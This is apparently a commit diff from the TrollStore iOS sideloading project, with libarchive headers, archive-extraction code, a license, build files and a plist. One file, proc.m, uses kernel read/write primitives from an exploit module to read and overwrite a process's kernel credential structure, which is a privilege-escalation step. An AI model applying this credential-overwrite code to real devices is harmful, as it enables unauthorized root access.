* The entries returned have their hardlink and size fields updated
* appropriately. If an entry is passed in that does not refer to
* a file with multiple links, it is returned unchanged. The intention
* is that you should be able to simply filter all entries through
* this machine.
*
* To make things more efficient, be sure that each entry has a valid
* nlinks value. The hardlink cache uses this to track when all links
* have been found. If the nlinks value is zero, it will keep every
* name in the cache indefinitely, which can use a lot of memory.
*
* Note that archive_entry_size() is reset to zero if the file
* body should not be written to the archive. Pay attention!
*/
struct archive_entry_linkresolver;
/*
* There are three different strategies for marking hardlinks.
* The descriptions below name them after the best-known
* formats that rely on each strategy:
*
* "Old cpio" is the simplest, it always returns any entry unmodified.
* As far as I know, only cpio formats use this. Old cpio archives
* store every link with the full body; the onus is on the dearchiver
* to detect and properly link the files as they are restored.
* "tar" is also pretty simple; it caches a copy the first time it sees
* any link. Subsequent appearances are modified to be hardlink
* references to the first one without any body. Used by all tar
* formats, although the newest tar formats permit the "old cpio" strategy
* as well. This strategy is very simple for the dearchiver,
* and reasonably straightforward for the archiver.
* "new cpio" is trickier. It stores the body only with the last
* occurrence. The complication is that we might not
* see every link to a particular file in a single session, so
* there's no easy way to know when we've seen the last occurrence.
* The solution here is to queue one link until we see the next.
* At the end of the session, you can enumerate any remaining
* entries by calling archive_entry_linkify(NULL) and store those
* bodies. If you have a file with three links l1, l2, and l3,
* you'll get the following behavior if you see all three links:
* linkify(l1) => NULL (the resolver stores l1 internally)
* linkify(l2) => l1 (resolver stores l2, you write l1)
* linkify(l3) => l2, l3 (all links seen, you can write both).
* If you only see l1 and l2, you'll get this behavior:
* linkify(l1) => NULL
* linkify(l2) => l1
* linkify(NULL) => l2 (at end, you retrieve remaining links)
* As the name suggests, this strategy is used by newer cpio variants.
* It's noticeably more complex for the archiver, slightly more complex
* for the dearchiver than the tar strategy, but makes it straightforward
* to restore a file using any link by simply continuing to scan until
* you see a link that is stored with a body. In contrast, the tar
* strategy requires you to rescan the archive from the beginning to
* correctly extract an arbitrary link.
*/
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
__LA_DECL void archive_entry_linkresolver_set_strategy(
struct archive_entry_linkresolver *, int /* format_code */);
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
struct archive_entry **, struct archive_entry **);
__LA_DECL struct archive_entry *archive_entry_partial_links(
struct archive_entry_linkresolver *res, unsigned int *links);
#ifdef __cplusplus
}
#endif
/* This is meaningless outside of this header. */
#undef __LA_DECL
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */

View File

@ -0,0 +1,53 @@
//
// proc.h
// fun15
//
// Created by Lars Fröder on 11.06.22.
//
#ifndef proc_h
#define proc_h
#import <Foundation/Foundation.h>
#if defined(__cplusplus)
extern "C" {
#endif
struct k_posix_cred { // (96 bytes)
uid_t cr_uid; // off=0x0
uid_t cr_ruid; // off=0x20
uid_t cr_svuid; // off=0x40
u_short cr_ngroups; // off=0x60
u_short __cr_padding; // off=0x70
gid_t cr_groups[16]; // off=0x80
gid_t cr_rgid; // off=0x280
gid_t cr_svgid; // off=0x2a0
uid_t cr_gmuid; // off=0x2c0
int cr_flags; // off=0x2e0
};
struct k_label { // (64 bytes)
int l_flags; // off=0x0
int l_perpolicy[7]; // off=0x40
};
struct k_ucred { // (144 bytes)
struct { // (16 bytes)
struct k_ucred * le_next; // off=0x0
struct k_ucred * * le_prev; // off=0x40
} cr_link; // off=0x0
u_long cr_ref; // off=0x80
struct k_posix_cred cr_posix; // off=0xc0
struct k_label cr_label; // off=0x3c0
struct au_session cr_audit; // off=0x400
};
extern void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred);
extern struct k_posix_cred proc_get_posix_cred(uint64_t proc);
#if defined(__cplusplus)
}
#endif
#endif /* proc_h */

View File

@ -0,0 +1,31 @@
//
// proc.m
// fun15
//
// Created by Lars Fröder on 11.06.22.
//
#import "kutil.h"
#import <Foundation/Foundation.h>
#import "KernelManager.h"
#import "exploit/xpaci.h"
struct k_posix_cred proc_get_posix_cred(uint64_t proc)
{
struct k_posix_cred pcred = {0};
KernelManager* km = [KernelManager sharedInstance];
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
[km readBufferAtAddress:posix_cred_kptr intoBuffer:&pcred withLength:sizeof(struct k_posix_cred)];
return pcred;
}
void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred)
{
KernelManager* km = [KernelManager sharedInstance];
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
[km writeBuffer:&posix_cred withLength:sizeof(struct k_posix_cred) toAddress:posix_cred_kptr];
}

View File

@ -0,0 +1,18 @@
//
// main.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
int main(int argc, char * argv[]) {
NSString * appDelegateClassName;
@autoreleasepool {
// Setup code that might create autoreleased objects goes here.
appDelegateClassName = NSStringFromClass([AppDelegate class]);
}
return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}

View File

@ -0,0 +1,15 @@
//
// unarchive.h
// TrollInstaller
//
// Created by Lars Fröder on 02.09.22.
//
#ifndef unarchive_h
#define unarchive_h
@import Foundation;
extern int extract(NSString* fileToExtract, NSString* extractionPath);
#endif /* unarchive_h */

View File

@ -0,0 +1,94 @@
//
// unarchive.m
// TrollInstaller
//
// Created by Lars Fröder on 02.09.22.
//
#import "unarchive.h"
#include "headers/archive.h"
#include "headers/archive_entry.h"
static int
copy_data(struct archive *ar, struct archive *aw)
{
int r;
const void *buff;
size_t size;
la_int64_t offset;
for (;;) {
r = archive_read_data_block(ar, &buff, &size, &offset);
if (r == ARCHIVE_EOF)
return (ARCHIVE_OK);
if (r < ARCHIVE_OK)
return (r);
r = archive_write_data_block(aw, buff, size, offset);
if (r < ARCHIVE_OK) {
fprintf(stderr, "%s\n", archive_error_string(aw));
return (r);
}
}
}
int extract(NSString* fileToExtract, NSString* extractionPath)
{
struct archive *a;
struct archive *ext;
struct archive_entry *entry;
int flags;
int r;
/* Select which attributes we want to restore. */
flags = ARCHIVE_EXTRACT_TIME;
flags |= ARCHIVE_EXTRACT_PERM;
flags |= ARCHIVE_EXTRACT_ACL;
flags |= ARCHIVE_EXTRACT_FFLAGS;
a = archive_read_new();
archive_read_support_format_all(a);
archive_read_support_filter_all(a);
ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
archive_write_disk_set_standard_lookup(ext);
if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240)))
return 1;
for (;;)
{
r = archive_read_next_header(a, &entry);
if (r == ARCHIVE_EOF)
break;
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(a));
if (r < ARCHIVE_WARN)
return 1;
NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)];
NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile];
//printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String);
archive_entry_set_pathname(entry, fullOutputPath.UTF8String);
r = archive_write_header(ext, entry);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
else if (archive_entry_size(entry) > 0) {
r = copy_data(a, ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
r = archive_write_finish_entry(ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
archive_read_close(a);
archive_read_free(a);
archive_write_close(ext);
archive_write_free(ext);
return 0;
}

64
LICENSE Normal file
View File

@ -0,0 +1,64 @@
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: TrollStore
Upstream-Contact: opa334 <opa334@protonmail.com>
Source: https://github.com/opa334/TrollStore
Files: *
Copyright: 2022 Lars Fröder
License: MIT
Files: Helper/uicache.m
Copyright: Copyright (c) 2019 CoolStar,
Modified work Copyright (c) 2020-2022 Procursus Team <team@procurs.us>
License: BSD-4-Clause
Files: Installer/TrollInstaller/exploit
Copyright: Copyright (c) 2022 John Åkerblom,
License: All rights reserved
License: BSD-4-Clause
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. All advertising materials mentioning features or use of this software
must display the following acknowledgement:
This product includes software developed by CoolStar.
4. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE HOLDERS OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
License: MIT
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

View File

@ -0,0 +1,17 @@
TARGET := iphone:clang:14.5:14.0
INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper
include $(THEOS)/makefiles/common.mk
APPLICATION_NAME = TrollStorePersistenceHelper
TrollStorePersistenceHelper_FILES = $(wildcard *.m) ../Helper/Shared.m ../Store/TSUtil.m
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist
include $(THEOS_MAKE_PATH)/application.mk
internal-stage::
ldid -S -M -K../_compile/cert.p12 $(THEOS_STAGING_DIR)/Applications/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

View File

@ -0,0 +1,156 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>TrollStorePersistenceHelper</string>
<key>CFBundleDisplayName</key>
<string>TrollHelper</string>
<key>CFBundleIcons</key>
<dict>
<key>CFBundlePrimaryIcon</key>
<dict>
<key>CFBundleIconFiles</key>
<array>
<string>AppIcon29x29</string>
<string>AppIcon40x40</string>
<string>AppIcon57x57</string>
<string>AppIcon60x60</string>
</array>
<key>UIPrerenderedIcon</key>
<true/>
</dict>
</dict>
<key>CFBundleIcons~ipad</key>
<dict>
<key>CFBundlePrimaryIcon</key>
<dict>
<key>CFBundleIconFiles</key>
<array>
<string>AppIcon29x29</string>
<string>AppIcon40x40</string>
<string>AppIcon57x57</string>
<string>AppIcon60x60</string>
<string>AppIcon50x50</string>
<string>AppIcon72x72</string>
<string>AppIcon76x76</string>
</array>
<key>UIPrerenderedIcon</key>
<true/>
</dict>
</dict>
<key>CFBundleIdentifier</key>
<string>com.opa334.trollstorepersistencehelper</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>iPhoneOS</string>
</array>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>UIDeviceFamily</key>
<array>
<integer>1</integer>
<integer>2</integer>
</array>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UILaunchImageFile</key>
<string>LaunchImage</string>
<key>UILaunchImages</key>
<array>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{320, 480}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-700-568h</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{320, 568}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-Portrait</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{768, 1024}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>7.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-Landscape</string>
<key>UILaunchImageOrientation</key>
<string>Landscape</string>
<key>UILaunchImageSize</key>
<string>{768, 1024}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>8.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-800-667h</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{375, 667}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>8.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-800-Portrait-736h</string>
<key>UILaunchImageOrientation</key>
<string>Portrait</string>
<key>UILaunchImageSize</key>
<string>{414, 736}</string>
</dict>
<dict>
<key>UILaunchImageMinimumOSVersion</key>
<string>8.0</string>
<key>UILaunchImageName</key>
<string>LaunchImage-800-Landscape-736h</string>
<key>UILaunchImageOrientation</key>
<string>Landscape</string>
<key>UILaunchImageSize</key>
<string>{414, 736}</string>
</dict>
</array>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
</dict>
</plist>

Some files were not shown because too many files have changed in this diff Show More